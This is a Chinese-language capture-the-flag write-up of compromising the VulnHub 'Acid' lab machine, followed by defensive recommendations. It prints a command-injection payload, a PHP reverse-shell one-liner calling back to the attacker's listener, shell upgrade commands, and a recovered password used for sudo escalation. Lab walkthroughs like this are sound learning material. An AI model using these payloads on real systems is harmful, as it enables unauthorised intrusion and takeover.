VulnHub靶机学习——Acid实战记录
字数 1361 2025-08-18 11:38:23
VulnHub靶机Acid渗透实战教学文档
一、靶机概述
- 靶机名称: Acid
- 难度等级: 初学者/中级
- 目标: 获取root权限并查看flag
- 下载地址: https://download.vulnhub.com/acid/Acid.rar
二、环境准备
- 攻击机: Kali Linux (VMware虚拟机)
- 靶机: Acid (VMware虚拟机)
- 网络配置: 两台机器均使用NAT连接模式
三、渗透测试流程
1. 信息收集
1.1 发现靶机IP
nmap -sP 192.168.50.0/24
发现靶机IP为192.168.50.139
1.2 端口扫描
nmap -sV -p- 192.168.50.139
发现开放了33447端口
2. Web应用分析
访问靶机Web服务:
http://192.168.50.139:33447/
页面显示"欢迎来到酸的世界~~~"
2.1 目录爆破
使用DirBuster进行目录扫描,发现以下重要目录:
- /Challenge
- /Magic_Box
2.2 关键页面分析
- cake.php: 登录页面,点击login会跳转到index.php
- include.php: 存在文件包含漏洞,但无上传点
- command.php: 命令执行页面
3. 漏洞利用
3.1 命令注入
在command.php页面,通过Burp Suite拦截请求并修改参数:
原始请求:
ip=127.0.0.1
修改后请求:
ip=127.0.0.1;ifconfig
确认命令执行成功
3.2 反弹Shell
在Kali上启动监听:
nc -lvnp 6666
通过command.php执行PHP反弹Shell代码(URL编码后):
;php -r '$sock=fsockopen("192.168.50.140",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
3.3 升级Shell
获得基础Shell后,执行:
python -c 'import pty;pty.spawn("/bin/bash")'
获取交互式Shell
4. 权限提升
4.1 用户枚举
查看系统用户:
cat /etc/passwd
发现关键用户: acid, saman
4.2 查找用户文件
find / -user acid 2>/dev/null
发现重要文件: /sbin/raw_vs_isi/hint.pcapng
4.3 分析网络流量文件
将pcapng文件传输到本地分析:
scp /sbin/raw_vs_isi/hint.pcapng root@192.168.50.140:/root/
使用Wireshark分析发现:
- 用户名: saman
- 密码: 1337hax0r
4.4 提权操作
切换到saman用户:
su saman
密码: 1337hax0r
提权到root:
sudo -i
使用相同密码: 1337hax0r
5. 获取Flag
进入root目录查看flag:
cd /root
cat flag.txt
四、技术要点总结
-
信息收集:
- 使用nmap进行主机发现和端口扫描
- 目录爆破发现隐藏页面
-
漏洞利用:
- 命令注入漏洞利用
- PHP反弹Shell技术
- Shell交互性升级
-
权限提升:
- 通过find命令查找用户文件
- 分析网络流量文件获取凭证
- 利用sudo提权
-
关键点:
- 仔细分析每个Web页面的源代码
- 注意页面标题与目录名的关联
- 耐心分析网络流量文件
五、防御建议
-
Web应用安全:
- 过滤用户输入,防止命令注入
- 避免在页面中暴露敏感信息
- 限制目录遍历
-
系统安全:
- 避免在流量文件中存储凭证
- 限制sudo权限
- 使用更复杂的密码策略
-
监控与审计:
- 监控异常网络连接
- 定期审计系统文件权限
- 记录和分析系统日志
六、扩展学习
-
相关工具:
- DirBuster: Web目录扫描
- Wireshark: 网络流量分析
- Netcat: 网络工具集
-
类似靶机:
- VulnHub上的其他初学者/中级靶机
- OverTheWire的Bandit系列
-
深入学习:
- 命令注入漏洞原理与防御
- 权限提升技术
- 网络取证分析技术